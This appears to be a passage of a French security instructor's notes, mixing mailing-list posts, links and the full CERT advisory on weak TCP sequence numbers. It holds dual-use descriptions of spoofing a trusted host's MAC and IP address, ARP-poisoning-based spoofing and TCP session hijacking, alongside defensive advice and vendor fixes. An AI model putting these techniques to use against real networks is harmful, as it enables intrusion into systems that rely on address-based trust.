on modifie les clients SSH ou le serveur SSHD. - la machine attaquée en Allemagne était un Linux. Tout y était bien caché via un rootkit: se promener dans les fichiers (ls, find, ...), dans les process (ps, top, ...), sur les connexions réseaux (netstat, ...) ne montrent plus rien: les attaques se sont déplacés dans des modules noyaux. NB: ces méthodes existent sur Linux, sur Solaris, sur Windows. Solaris, c'est ce qui a failli m'arriver sur le serveur élèves (clipper.ens.fr) le 24 septembre. Dans un tel cas de rootkit, on ne peut faire confiance à la machine vivante (*), il faut booter sur un CD et comparer avec le CD (ou avec une sauvegarde saine). (*) dans mon cas sur clipper, la commande df(1) montrait de la place disparue dans la partition /, partition qui bouge très peu. Un indice? From: Eric Cousin Subject: [info-liste] du bon usage du courriel.... To: info-liste@mlistes.enst-bretagne.fr Date: Fri, 17 Oct 2003 16:05:42 +0200 Le gouvernement américain dévoile la vie privée des employés d'Enron sur l'internet : http://www.transfert.net/a9447 Ne dites pas que vous n'aurez pas été avertis :-< Dessin et autre dans http://www.denialinfo.com/ http://www.crypto.com/masterkey.html http://catless.ncl.ac.uk/Risks \trans {Commande openssl} Demanderait à détailler les composants de TLS avant. Rajouter exemple de RSA Fusionner partie Unix avec FC Solaris. Présenter modèle de sécurité Unix, conepts, CBAC,... Regarder dans Usenix ? http://www.kewney.com/articles/021119-secure.html From: "Ossian Vitek" Subject: Re: IP SmartSpoofing : How to bypass all IP filters relying on source IP address To: bugtraq@securityfocus.com Date: Thu, 31 Oct 2002 20:44:36 +0100 The only new is that the attacker relays the packets from the trusted client. This is not needed for the spoof. The solution in the defcon 8 presentation is far more easier. You do not need to arpspoof and NAT. * Spoof trusted client on the same LAN: Just take the MAC and IP of the trusted host. * Spoof an upstream trusted client: Just take the MAC of the upstream router and the IP of the trusted client. Defcon 8: http://www.defcon.org/html/defcon-8/defcon-8-post.html Read "Full Connection Vanilla IP-Spoof" in the presentation at: http://www.wittys.com/files/defcon_vitek.ppt All responses containing: 1: "But on a switched environment ..." 2: "But if you take same MAC as the ..." will be redirected to /dev/null //Ian Vitek, iXsecurity mailto:ian.vitek@ixsecurity.com Hi, In an article available at http://www.althes.fr/ressources/avis/smartspoofing.htm, we describe a new technique for spoofing an IP address using ARP cache poisoning and network translation. The IP smart spoofing allows to run any application with a spoofed IP address and thus, bypass many access control based on source IP address. As a result, we will explain why IP based access control is not reliable on firewalls, routers or applications. Regards, Laurent Licour (llicour@althes.fr) & Vincent Royer (vroyer@althes.fr) http://www.althes.fr DNSSEC http://www.hsc.fr/ressources/presentations/bind9/index.html.en "Ettercap is a multipurpose sniffer/interceptor/logger for switched LAN. It supports active and passive dissection of many protocols (even ciphered ones) and includes many feature for network and host analysis." http://sourceforge.net/projects/ettercap/ From: Olivier AUBERT Subject: Microsoft et la crypto To: info@enst-bretagne.fr Date: Fri, 3 Dec 1999 11:06:04 +0100 (MET) C'est effectivement pathetique [tire du dernier bulletin Crypto-Gram de Bruce Schneier: http://lwn.net/1999/1202/a/cryptogram.html] Microsoft encrypts your Windows NT password when stored on a Windows CE device. But if you look carefully at their encryption algorithm, they simply XOR the password with "susageP", Pegasus spelled backwards. Pegasus is the code name of Windows CE. This is so pathetic it's staggering. Plus de details: http://www.cegadgets.com/artsusageP.htm La recherche sur la crypto a pourtant bien avance ces dernieres 30 annees... From: Laurent DAVERIO Subject: Vols de domaines chez VeriSign To: all@cri.ensmp.fr Cc: Rémi DAVERIO , Michel CAMBIER , Stefan JAFFRIN Date: Tue, 14 May 2002 15:20:54 +0200 Organization: ENSMP/CRI Web community puts price on head of super highwayman VeriSign http://www.theregister.co.uk/content/6/25270.html -- "Instead of a Password, Well-Placed Clicks" New York Times (05/02/02) P. E7; Eisenberg, Anne Rather than deal with the headache of remembering passwords made up of random strings of letters, numbers, and symbols, many users either write them down near their computers or settle for less complicated passwords, which raises the risk of hacking. To alleviate this problem, researchers at Microsoft and other companies are looking into image-based password systems. Microsoft has developed a tool in which users log in by clicking on certain parts of an image in a certain order; users can set a range of pixels around each location so that they do not have to be too precise in where they click. Microsoft researcher Dr. Darko Kirovski thinks that a picture must have a minimum of 500 clickable regions in order to be suitable as a password, and is devising a program to assess such suitability with two colleagues. Meanwhile, Real User is working on a system in which users create passwords by choosing photos of human faces, and then log in by identifying those particular faces in a grid that is also filled with decoys. Carnegie Mellon University's Dr. Michael Reiter believes that comprehensive user trials will need to be conducted to determine whether graphical password systems truly improve security. At the University of California, Berkeley, Adrian Perrig is developing a password system that solves the problem of shoulder surfing: In his concept, users familiarize themselves with a virtual world, and sign on by determining locations chosen at random. http://www.nytimes.com/2002/05/02/technology/circuits/02NEXT.html (Access to this site is free; however, first-time visitors must register.) http://www.giac.org/practical/donald_smith_gcia.doc http://www.chkrootkit.org/ http://www.cs.princeton.edu/~jns/security/iptables/ http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm Rajouter exemple ssh compliqué :ISIA, maison ENSMP,ENSTBr; machine //, Reactive,... Mettre exemple attaque clé publique Firewalls sous Linux http://www.linuxsecurity.com/resources/firewalls-3.html iptables Tutorial 1.1.6 http://www.linuxsecurity.com/resource_files/firewalls/IPTables-Tutorial/iptables-tutorial.html IPTables Linux firewall with packet string-matching support http://www.securityfocus.com/infocus/1531 A Comparison of iptables Automation Tools http://www.securityfocus.com/infocus/1410 Linux 2.4: Next Generation Kernel Security http://www.linuxsecurity.com/feature_stories/kernel-24-security-printer.html StegFS - A Steganographic File System for Linux http://www.mcdonald.org.uk/StegFS/ -- http://www.whitefang.com/sup/ Secure UNIX Programming FAQ From: Jacques Beigbeder Subject: [enssec] la semaine du 30/11 au 6/12 To: enssec@ens.fr Date: Sat, 8 Dec 2001 13:43:52 +0100 2. Le premier W32/Goner@MM a été intercepté le 4/12, 19h15. 15 minutes après la mise en place des signatures anti-virus permettant de le reconnaitre. On est donc en plein dans la question que je posais dans: http://www.cnrs.fr/Infosecu/num32-sansFond.pdf Le virus est fort probablement déjà arrivé dans des mailboxes, peut-on le rechercher? Non: car le courrier est inviolable. Cf les procès en cours. Oui: sinon les admin. vont être accusés de négligence, sachant que des PC/Windows vont être infectés! 713 10:54 x ssh-keygen -t rsa -N '' 717 10:56 x scp /.ssh/id_rsa.pub reactived1:.ssh/authorized_keys2 718 10:57 x ssh reactived1 http://www.techtv.com/callforhelp/projects/jump/0%2c23009%2c3015162%2c00.html http://www.networkuptime.com/tools/unix/mgmt/trend/ http://www.hsc.fr/ressources/breves/secretssh.html A. M. © Internet Actu 25/10/2001 _____________________________________________________ ENTREPRISES C'est reparti comme en 14 ! Cette semaine, Microsoft est parti en guerre contre les développeurs de virus. Dans une lettre ouverte, publiée sur le site de la firme de Redmond, Scott Culp, dirigeant de la cellule sécurité, préconise d'utiliser une arme nouvelle. Partant d'un constat d'échec de la sécurisation des logiciels, Scott Culp envisage simplement de s'attaquer à l'information concernant les trous de sécurité, plus rapidement qu'aux défauts de ses programmes. Selon lui, l'industrie logicielle toute entière doit interdire la divulgation des caractéristiques des vers et autres virus. Intitulée "Il est temps de mettre fin à l'anarchie de l'information", la profession de foi du dirigeant de Microsoft a de quoi effrayer. Tout d'abord, on est abasourdi par la mauvaise foi de Scott Culp qui met sur le même plan, sans vergogne, les cratères de sécurité de Windows et les chas d'aiguille exploitables sur Gnu/Linux. Comme pour excuser la faiblesse des programmes Microsoft, Scott Culp les situe "parmi les choses les plus compliquées que l'humanité ait jamais développées". Cette hypothèse posée, il termine de noircir le tableau en lançant : "Il y aura toujours des trous de sécurité." Il faut dire que cela fait longtemps que l'on avait cessé d'espérer le contraire. Les hackers et autres développeurs de virus ont de beaux jours devant eux. Quelle arme utiliser alors ? Scott Culp préconise une censure qui ne dit pas son nom, et qu'il préfère appeler "responsabilisation au nom de la sécurité des utilisateurs". Il promet que son entreprise s'emploiera à convaincre ses partenaires de ne plus détailler les trous de sécurité, même après publication et mise à disposition des "patches" qui, selon lui, ne sont pas suffisamment appliqués sur les produits vendus. Une manière comme une autre de rejeter la Culp... abilité sur les autres ! http://www.microsoft.com/technet/treeview/default.asp?url=/technet/colum ns/security/noarch.asp M. J. © Internet Actu 25/10/2001 Sur le plan des virus la vigilance doit etre permanente. Les utilisateurs doivent etre avertis des dangers de la messagerie electronique: "Virus Informatiques et autres malignites" http://www.cnrs.fr/Infosecu/Virus.html "Les virus" http://cache.univ-tlse1.fr/documentations/virus Pour info: "UNIX Security Checklist v2.0 - The Essentials" (ou comment mieux configurer et surveiller un systeme Unix pour limiter les risques) http://www.auscert.org.au/Information/Auscert_info/Papers/usc20_essentials.html Sécurité optimale = Maximum security ; traduit de l'américain par Christian Soubrier. - 2e éd. - CampusPress ; Paris, 1999. - XXI-786 p. . - ; 23 cm + CD-ROM. - (Références) . - ISBN 2-7440-0723-4 (br) . - Glossaire. Index Descripteurs : Administration réseau, Sécurité informatique, Protection information, Pare feu, Droit informatique, Internet Classification : 02.28 Cote : 2.28 SOUB Cours de cryptographie / Gilles Zémor. - Paris : Cassini, 2000. - 227 p. ; 23 cm. - (Enseignement des mathématiques ; 6) ISBN 2-84225-020-6 (br.) . - Bibliogr. Index Descripteurs :Cryptographie, Théorie nombre, Clé secrète, Complexité, Code correcteur erreur Classification : 07.24 Cote : 7.24 ZEMO http://www.kitetoa.com/index2.htm From: Jacques Beigbeder Subject: [enssec] Advisory: Statistical Weaknesses in TCP/IP Initial Sequence Numbers To: enssec@ens.fr Date: Fri, 4 May 2001 10:49:19 +0200 Si je résume ce long mail: . Linux protégé depuis 1996 . FreeBSD depuis la version 2.8 . Solaris Sun implemented RFC 1948 beginning with Solaris 2.6, but it isn't turned on by default. On Solaris 2.6, 7 and 8, edit /etc/default/inetinit to set TCP_STRONG_ISS to 2. On a running system, use: ndd -set /dev/tcp tcp_strong_iss 2 ===================================================================== CERT-Renater Note d'Information No. 2001/VULN134 _____________________________________________________________________ DATE : 03/05/2001 HARDWARE PLATFORM(S) : / OPERATING SYSTEM(S) : / ====================================================================== CERT Advisory CA-2001-09 Statistical Weaknesses in TCP/IP Initial Sequence Numbers Original release date: May 01, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems using TCP stacks which have not incorporated RFC1948 or equivalent improvements * Systems not using cryptographically-secure network protocols like IPSec Overview Attacks against TCP initial sequence number (ISN) generation have been discussed for some time now. The reality of such attacks led to the widespread use of pseudo-random number generators (PRNGs) to introduce some randomness when producing ISNs used in TCP connections. Previous implementation defects in PRNGs led to predictable ISNs despite some efforts to obscure them. The defects were fixed and thought sufficient to limit a remote attacker's ability to attempt ISN guessing. It has long been recognized that the ability to know or predict ISNs can lead to manipulation or spoofing of TCP connections. What was not previously illustrated was just how predictable one commonly used method of partially randomizing new connection ISNs is in some modern TCP/IP implementations. A new vulnerability has been identified (CERT VU#498440, CVE CAN-2001-0328) which is present when using random increments to constantly increase TCP ISN values over time. Because of the implications of the Central Limit Theorem, adding a series of numbers together provides insufficient variance in the range of likely ISN values allowing an attacker to disrupt or hijack existing TCP connections or spoof future connections against vulnerable TCP/IP stack implementations. Systems relying on random increments to make ISN numbers harder to guess are still vulnerable to statistical attack. I. Description Some History In 1985, Bob Morris first identified potential security concerns [ref_morris] with the TCP protocol. One of his observations was that if a TCP sequence number could be predicted, an attacker could "complete" a TCP handshake with a victim server without ever receiving any responses from the server. One result of the creation of such a "phantom" connection would be to spoof a trusted host on a local network. In 1989, Steve Bellovin [ref_bellovin] observed that the "Morris" attack could be adapted to attack client connections by simulating unavailable servers and proposed solutions for strengthening TCP ISN generators. In 1995, the CERT Coordination Center issued CA-1995-01, which first reported the widespread use of such attacks on the Internet at large. Later in 1995, as part of RFC1948, Bellovin noted: The initial sequence numbers are intended to be more or less random. More precisely, RFC 793 specifies that the 32-bit counter be incremented by 1 in the low-order position about every 4 microseconds. Instead, Berkeley-derived kernels increment it by a constant every second, and by another constant for each new connection. Thus, if you open a connection to a machine, you know to a very high degree of confidence what sequence number it will use for its next connection. And therein lies the attack. Also in 1995, work by Laurent Joncheray [ref_joncheray] further describes how an attacker could actively hijack a TCP connection. If the current sequence number is known exactly and an attacker's TCP packet sniffer and generator is located on the network path followed by the connection, victim TCP connections could be redirected. In his recently published paper on this issue, [ref_newsham] Tim Newsham of Guardent, Inc. summarizes the more generalized attack as follows: As a result, if a sequence number within the receive window is known, an attacker can inject data into the session stream or terminate the connection. If the ISN value is known and the number of bytes sent already sent is known, an attacker can send a simple packet to inject data or kill the session. If these values are not known exactly, but an attacker can guess a suitable range of values, he can send out a number of packets with different sequence numbers in the range until one is accepted. The attacker need not send a packet for every sequence number, but can send packets with sequence numbers a window-size apart. If the appropriate range of sequence numbers is covered, one of these packets will be accepted. The total number of packets that needs to be sent is then given by the range to be covered divided by the fraction of the window size that is used as an increment. Many TCP/IP implementers turned to incrementing the global tcp_iss [TCP Initial Send Sequence number, a.k.a., an ISN] variable using pseudo-random variables instead of constants. Unfortunately, the randomness of the pseudo-random-number generators (PRNGs) used to generate the "random" increments was sometimes lacking (see CVE-1999-0077, CVE-2000-0328, CAN-2000-0916, CAN-2001-0288, among others). As noted in RFC1750: It is important to keep in mind that the requirement is for data that an adversary has a very low probability of guessing or determining. This will fail if pseudo-random data is used which only meets traditional statistical tests for randomness or which is based on limited range sources, such as clocks. Frequently such random quantities are determinable by an adversary searching through an embarrassingly small space of possibilities. Eastlake, Crocker, and Schiller were focused on randomness in cryptographic systems, but their observation was equally applicable in any system which relies on random number generation for security. It has been noted in the past that using such poor PRNGs can lead to smaller search spaces and make TCP ISN generators susceptible to practical brute-force attacks. However, new research demonstrates that the algorithm implemented to generate ISN values in many TCP/IP stacks is statistically weak and susceptible to attack even when the PRNG is adequately randomizing its increments. The problem lies in the use of increments themselves, random or otherwise, to advance an ISN counter, making statistical guessing practical. Some Fresh Analysis: Guardent Tim Newsham of Guardent, Inc. has written a paper titled "The Problem with Random Increments" [ref_newsham] concerning an observed statistical weakness in initial sequence number generation for TCP connections. Newsham explains how incrementing the ISN by a series of pseudo-random amounts is insufficient to protect some TCP implementations from a practical ISN guessing attack in some real-world situations. Such attacks would not rely on data sniffed from a victim site but only on one or two ISN samples collected by previous connections made to a victim site. Newsham's statistical analyses provide a theoretical backdrop for practical attacks, drawing attention once again to the protocol analysis documented by Steve Bellovin (building on work pioneered by Robert Morris) in RFC1948. Newsham points out that the current popular use of random increments to obscure an ISN series still contains enough statistical information to be useful to an attacker, making ISN guessing practical enough to lead to TCP connection disruption or manipulation. This attack is possible because an attacker can still predict within "a suitable range of values" what the next (or a previous) ISN for a given TCP connection may be. This range can be derived when looking at the normal distribution that naturally arises when adding a large number of values together (random or otherwise) due to expected values governed by the Central Limit Theorem [ref_clt]: Roughly, the central limit theorem states that the distribution of the sum of a large number of independent, identically distributed variables will be approximately normal, regardless of the underlying distribution. In addition to statistical analysis of this weakness, Newsham's paper demonstrates the weakness inherent in one specific TCP/IP implementation. In other recently-published research, Michal Zalewski of BindView surveys over 20 different ISN generators included in many of the most widely available operating systems on the Internet today. Their work shows in graphic detail how observable this statistical weakness is. Some Fresh Empirical Evidence: BindView Analysts at BindView have produced interesting research that analyzes the patterns many of the most popular TCP/IP stacks produce when producing ISNs. In a paper titled "Strange Attractors and TCP/IP Sequence Number Analysis," [ref_zalewski] author Michal Zalewski uses phase analysis to show patterns of correlation within sets of 32-bit numbers generated by many popular operating systems' TCP ISN generators. As Zalewski explains: Our approach is built upon this widely accepted observation about attractors: If a sequence exhibits strong attractor behavior, then future values in the sequence will be close to the values used to construct previous points in the attractor. Our goal is to construct a spoofing set, and, later, to calculate its relative quality by empirically calculating the probability of making the correct ISN prediction against our test data. For the purpose of ISN generators comparison , we established a limit of guess set size at the level of 5,000 elements, which is considered a limit for trivial attacks that does not require excessive network bandwidth or processing power and can be conducted within few seconds. (A "spoofing set" is defined as "a set of guessed values for ISNs that are used to construct a packet flood that is intended to corrupt some established TCP connections." Please see [ref_zalewski] for more information about phase space analysis and attractor reconstruction). In effect, using this technique for data visualization, they are able to highlight emergent patterns of correlation. Such correlation, when present in TCP ISN generators, can dramatically shrink the set of numbers that need to be guessed in order to attack a TCP session. Since the sequence number for TCP sessions is stored in packet headers using 32-bits of data, it was generally assumed that an attacker would have a very small chance of correctly guessing a sequence number to attack established (or to-be established) connections. BindView's research shows attackers actually have much smaller bit-spaces to guess within due to dependencies on system clocks and other implementation defects. Zalewski further notes in his paper [ref_zalewski]: What comes to our attention is that most every implementation described above, except maybe current OpenBSD and Linux, has more or less serious flaws that make short-time TCP sequence number prediction attacks possible. Solaris 7 and 8 with tcp_strong_iss set to 2 results are a clear sign there are a lot of things to do for system vendors. We applied relatively loose measures, classifying attacks as "feasible" if they can be accomplished using relatively low bandwidth and a reasonable amount of time. But, as network speeds are constantly growing, it would be not a problem for an attacker having access to powerful enough uplink to search the entire 32-bit ISN space in several hours, assuming a local LAN connection to the victim host and assuming the network doesn't crash, although an attack could be throttled to compensate. The work done by Guardent and BindView illustrates that not all current TCP/IP ISN generators have implemented the suggestions made by Steve Bellovin in RFC1948 to address prediction-based ISN attacks, or provided a equivalent fixes. In particular, TCP/IP stacks based on operating system software which has not previously incorporated RFC1948 or equivalent fixes will be susceptible to classic TCP hijacking in the absence of other cryptographically secure hardening (i.e., when not using IPSec or an equivalent secure networking technology). Much work remains to be done to ensure the systems deployed using TCP today and tomorrow have strengthened their ISN generators using RFC1948 recommendations or equivalent fixes. II. Impact If the ISN of an existing or future TCP connection can be determined within some practical range, a malicious agent may be able to close or hijack the TCP connections. If the ISNs of future connections of a system are guessed exactly, an agent may be able to "complete" a TCP three-way handshake, establish a phantom connection, and spoof TCP packets delivered to a victim. The ability to spoof TCP packets may lead to other types of system compromise, depending on the use of IP-based authentication protocols. Examples of such attacks have been previously described in CA-1995-01 and CA-1996-21. III. Solution The design of TCP specified by Jon Postel in RFC793 specifically addressed the possibility of old packets from prior instantiations of a connection being accepted as valid during new instantiations of the same connection, i.e., with the same 4-tuple of : To avoid confusion we must prevent segments from one incarnation of a connection from being used while the same sequence numbers may still be present in the network from an earlier incarnation. We want to assure this, even if a TCP crashes and loses all knowledge of the sequence numbers it has been using. When new connections are created, an initial sequence number (ISN) generator is employed which selects a new 32-bit ISN. The generator is bound to a (possibly fictitious) 32-bit clock whose low order bit is incremented roughly every 4 microseconds. Thus, the ISN cycles approximately every 4.55 hours. Since we assume that segments will stay in the network no more than the Maximum Segment Lifetime (MSL) and that the MSL is less than 4.55 hours we can reasonably assume that ISN's will be unique. Several criteria need to be kept in mind when evaluating each of the following solutions to this problem: 1. Does the soulution address the security concerns identified in this advisory? 2. How well does the solution conform for TCP reliability and interoperability requirements? 3. How easily can the solution be implemented? 4. How much of a performance cost is associated with the solution? 5. How well will the solution stand the test of time? In the discussions following the initial report of this statistical weakness, several approaches to solving this issue were identified. All have various strengths and weaknesses themselves. Many have been implemented independently by various vendors in response to other reported weaknesses in specific ISN generators. Deploy and Use Cryptographically Secure Protocols TCP initial sequence numbers were not designed to provide proof against TCP connection attacks. The lack of cryptographically-strong security options for the TCP header itself is a deficiency that technologies like IPSec try to address. It must be noted that in the final analysis, if an attacker has the ability to see unencrypted TCP traffic generated from a site, that site is vulnerable to various TCP attacks - not just those mentioned here. The only definitive proof against all forms of TCP attack is end-to-end cryptographic solutions like those outlined in various IPSec documents. The key idea with an end-to-end cryptographic solution is that there is some secure verification that a given packet belongs in a particular stream. However, the communications layer at which this cryptography is implemented will determine its effectiveness in repelling ISN based attacks. Solutions that operate above the Transport Layer (OSI Layer 4), such as SSL/TLS and SSH1/SSH2, only prevent arbitrary packets from being inserted into a session. They are unable to prevent a connection reset (denial of service) since the connection handling will be done by a lower level protocol (i.e., TCP). On the other hand, Network Layer (OSI Layer 3) cryptographic solutions such as IPSec prevent both arbitrary packets entering a transport-layer stream and connection resets because connection management is directly integrated into the secure Network Layer security model. The solutions presented above have the desirable attribute of not requiring any changes to the TCP protocol or implementations to be made. Some sites may want to investigate hardening the TCP transport layer itself though. RFC2385 ("Protection of BGP Sessions via the TCP MD5 Signature Option") and other technologies provide options for adding cryptographic protection within the TCP header at the cost of some potential denial of service, interoperability, and performance issues. The use of cryptographically secure protocols has several advantages over other possible solutions to this problem. Protection against hijacking and disruption are provided by the cryptography, while the TCP layer is free to return to a simple increasing sequence number mechanism, providing the greatest level of reliability. The performance, durability, and practicality of implementation will vary according to the protocol selected, but IPSec in particular appears to have a number of positive attributes in this regard. Use RFC1948 Implementations In RFC1948, Bellovin observed that if the 32-bit ISN space could be segmented across all the ports available to a system, collecting sample ISNs from one connection could yield little or no information about the ISNs being generated in other connections. Breaking the reliance on a global ISN pool by using cryptographically hashed secrets and [IP, port] 4-tuples effectivly eliminates TCP ISN attacks by remote users (unless, of course, attackers able to sniff traffic on a local network segment). Newsham notes in his paper [ref_newsham]: RFC 1948 [ref1] proposes a method of TCP ISN generation that is not vulnerable to ISN guessing attacks. The solution proposed partitions the sequence space by connection identifiers. Each connection identifier, which is composed of the local address and port and the remote address and port of a connection, is assigned its own unique sequence space starting at an offset that is a function of the connection identifier. The function is chosen in such a way that it cannot be computed by an attacker. The ISN is then [...] generated by increments to this offset. ISN values generated in this way are not vulnerable to ISN range prediction methods outlined in this paper since an attacker cannot gain knowledge of the ISN space for any connection identifiers he cannot directly observe. Once the global ISN space becomes segmented among all the TCP ports available on a system, attacking TCP ISNs remotely becomes impractical. However, it should be noted that even when using RFC1948 implementations, some forms of ISN attack remain viable under very specific conditions, as discussed in further detail below. In addition, using a cryptographically strong hash function to perform this segmentation may lead to longer TCP connection establishment time. Some implementors (like those of the Linux kernel) have chosen to use a reduced-round MD4 hash function to provide a "good enough" solution from a security standpoint to keep performance degradation to a minimum. One cost of weakening the hash algorithm is the need to re-key the generator every few minutes. Each time a re-keying occurs, security is strengthened, but other reliability issues identified in RFC793 become a concern. It had been understood (but not widely noted) that ISNs generated by a "strictly-compliant" RFC1948 generator would still allow ISN guessing attacks to be made against previously-owned IP addresses. If an attacker could "own" an IP address used by a potential victim at some point afterward, given enough sample ISNs collected within the shared [IP, port] 4-tuple ISN space, an attacker could make reasonable guesses about the ISNs of subsequent connections. This is because strict RFC1948 suggests the following algorithm: ISN = M + F(sip, sport, dip, dport, ) where ISN = 32-bit initial sequence number M = monotonically increasing clock/counter F = crypto hash (typically MD4 or MD5) sip = source IP sport = source port dip = destination IP dport = destination port = an optional fifth input into the hash function to make remote IP attacks unfeasible. For the ISN itself to monotonically (constantly) increase, F() needs to remain fairly static. So the envisioned by Bellovin was a system-specific value (such as boot time, a passphrase, initial random value, etc) which would infrequently change. Each time it changes, the value of F() (a hash) changes and there is no guarantee that subsequent ISNs will be sufficiently distanced from the previous value assigned, raising the potential RFC793 reliability concern again. When viewed from the perspective of a particular [IP, port] 4-tuple, the ISN sequence is predictable and therefore subject to practical attacks. When looking at the Solaris tcp_strong_iss generator (RFC1948) from the perspective of a remote IP attacker, for example, the ISNs generated appear random. However, the Zalewski paper analyzes data which looks at both the remote and same-IP address attack vectors. Their data confirms the same-IP attack vector against Solaris tcp_strong_iss=2 (RFC1948) is a practical attack. The Linux TCP implementors avoided this issue by rekeying every five minutes. Unfortunately, this breaks the monotonicity of the algorithm, weakening the iron-clad reliability guarantee that Bellovin was hoping to preserve by segmenting the ISN space among ports in the first place. Some have proposed that the following algorithm may be a better answer to this issue: M = M + R(t) ISN = M + F(sip, sport, dip, dport, ) where R(t) = some random value changing over time This is essentially adding a random increment to the RFC1948 result. This makes most attacks impractical, but still theoretically possible. (It would still be "RFC1948-compliant" as well ... RFC1948 makes as few assumptions about the F() incrementing function as possible, requiring only that the connection [IP, port] 4-tuple be inputs to the function and that it be practically irreversible.) However, the "problem" of random increments was what brought this issue back into the spotlight to begin with. Use Some Other Non-RFC1948 Approaches A more direct solution chosen by some TCP implementors is to simply feed random numbers directly into the ISN generator itself. That is, given a 32-bit space to choose from, assign: ISN = R(t) Solutions which essentially randomize the ISN seem to mitigate against the practical guessing attack once and for all (assuming strong pseudo-random number generation). However, a purely-random approach allows for overlapping sequence numbers among subsequently-generated TCP connnections sharing [IP, port] 4-tuples. For example, a random generator can produce the same ISN value three times in a row. This runs contrary to multiple RFC assumptions about monotonically increasing ISNs (RFC 793, RFC 1185, RFC 1323, RFC1948, possibly others as well). It is unclear what practical effect this will have on the long-term reliability guarantees the TCP protocol makes or is assumed to make. Another novel approach introduced by Niels Provos of the OpenBSD group tries to strike a balance between the fully-random and segmented (RFC1948) approaches: ISN = ((PRNG(t)) << 16) + R(t) where PRNG(t) = a pseudo-randomly ordered list of sequentially-generated 16-bit numbers R(t) = a 16-bit random number generator with its msb always set to zero (This formula is an approximation of the results the OpenBSD implementation actually generates. Please see their actual code at: http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_subr.c) What the Provos implementation effectively does is generate a psuedo-random sequence that will not generate duplicate ISN values within a given time period. Additionally, each ISN value generated is guaranteed to be at least 32K away from other ISN values. This avoids the purely-random ISN collision problem, as well as makes a stronger attempt to keep sequence number spaces of subsequent [IP, port] 4-tuple connections from overlapping. It also avoids the use of a cryptographic hash which could degrade performance. However, monotonicity is lost, potentially causing reliability problems, and the generator may leak information about the system's global ISN state. Further discussion and analysis on the importance of such attributes needs to occur in order to ascertain the characteristics present in each ISN generator implemented. Empirical evidence provided by BindView may indicate that from a predictability standpoint, the solutions are roughly equivalent when viewed from a remote attackers perspective. It is unclear at the time of this writing what the security, performance, and reliability tradeoffs truly are. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Cisco Systems Cisco systems now use a completely random ISN generator. Please see the following for more details: http://www.cisco.com/warp/public/707/ios-tcp-isn-random-pub.shtml Compaq Computer Corporation At the time this document was written, Compaq is investigating the potential impact to Compaq's Tru64 UNIX and OPENVMS operating systems. Compaq views the problem to be a concern of moderate severity. Compaq implementations of TCP/IP sequence randomization for Tru64 UNIX for Alpha and OpenVMS for Alpha follow current practices for implementation of TCP/IP initial sequence numbers. If and when further information becomes available Compaq will provide notice of the completion/availability of any necessary patches or tuning recommendations through AES services (DIA, DSNlink FLASH and posted to the Services WEB page) and be available from your normal Compaq Global Services Support channel. You may subscribe to several operating system patch mailing lists to receive notices of new patches at: http://www.support.compaq.com/patches/mailing-list.shtml FreeBSD, Inc. FreeBSD has adopted the code and algorithm used by OpenBSD 2.8-current in FreeBSD 4.3-RELEASE and later, and this release is therefore believed not to be vulnerable to the problems described in this advisory (for patches and information relating to older releases see FreeBSD Security Advisory 01:39). We intend to develop code in the near future implementing RFC 1948 to provide a more complete solution. Fujitsu Fujitsu is currently working on the patches for the UXP/V operating system to address the vulnerabilities reported in VU#498440. The patches will be made available with the following ID numbers: OS Version,PTF level patch ID -------------------- -------- UXP/V V20L10 X01021 UX28164 UXP/V V20L10 X00091 UX28163 UXP/V V10L20 X01041 UX15529 Hewlett-Packard Company HP has been tracking tcp randomization issues over the years, and has to date implemented the following: For 11.00 and 11.11 (11i): _______________________________ For 11.00, if you want HP's solution for randomized ISN numbers then apply TRANSPORT patch PHNE_22397. Once you apply PHNE_22397, there's nothing more to do --- default is randomized ISNs. (Note: PHNE_22397 has patch dependencies unrelated to ISN randomized ISN number modification listed in the dependency section, but they should still be also applied. One is a PHKL kernel patch dependency and the other STREAMS/UX minimum level patch dependency.) The LR release of 11.11 (11i) has the same random ISN implementation as the patched 11.00. For releases up to, but not including 10.30: _______________________________ HP has key parameters that were made tunable to be able to select two levels of levels of randomization with patch PHNE_5361, a TRANSPORT Megapatch, which applies to releases up to (but not including) 10.30. Check patch text for details. It is done with nettune, and requires a reboot: tcp_random_seq set to 0 (Standard TCP sequencing) tcp_random_seq set to 1 (Random TCP sequencing) tcp_random_seq set to 2 (Increased Random TCP sequencing) IBM Corporation We have studied the document written by Guardent regarding vulnerabilities caused by statistical analysis of random increments, that may allow a malicious user to predict the next sequence of chosen TCP connections. IBM's AIX operating system should not be vulnerable as we have implemented RFC 1948 in our source coding. According to Guardent, we do not expect an exploit described in the document to affect our AIX OS because we employ RFC 1948. Linux The Linux kernel has used a variant of RFC1948 by default since 1996. Please see: http://lxr.linux.no/source/drivers/char/ChangeLog#L258 http://lxr.linux.no/source/drivers/char/random.c#L1855 OpenBSD post-2.8 we no longer use random increments, but a much more sophisticated way. SGI SGI implemented RFC 1948 with MD5 on IRIX 6.5.3 and above using the tcpiss_md5 tunable kernel parameter, but the default is disabled. To enablee tcpiss_md5 kernel parameter, use the following command as root: # /usr/sbin/systune -b tcpiss_md5 1 To verify RFC 1948 has been enabled in IRIX, use the following command as root: # /usr/sbin/systune tcpiss_md5 This should return: tcpiss_md5 = 1 (0x1) The latest IRIX 6.5 Maintenance Releases can be obtained from the URL: http://support.sgi.com/colls/patches/tools/relstream/index.html An SGI security advisory will be issued for this issue via the normal SGI security information distribution methods including the wiretap mailing list and http://www.sgi.com/support/security/ . Sun Microsystems, Inc. Sun implemented RFC 1948 beginning with Solaris 2.6, but it isn't turned on by default. On Solaris 2.6, 7 and 8, edit /etc/default/inetinit to set TCP_STRONG_ISS to 2. On a running system, use: ndd -set /dev/tcp tcp_strong_iss 2 Appendix B. - References 1. Postel, J., "RFC 793: TRANSMISSION CONTROL PROTOCOL: DARPA INTERNET PROGRAM PROTOCOL SPECIFICATION," September 1981. ftp://ftp.isi.edu/in-notes/rfc793.txt 2. Eastlake, D., Crocker, S., Schiller, J., "RFC 1750: Randomness Recommendations for Security," December 1994. ftp://ftp.isi.edu/in-notes/rfc1750.txt 3. Bellovin, S., "RFC 1948: Defending Against Sequence Number Attacks," May 1996. ftp://ftp.isi.edu/in-notes/rfc1948.txt 4. Heffernan, A., "RFC 2385: Protection of BGP 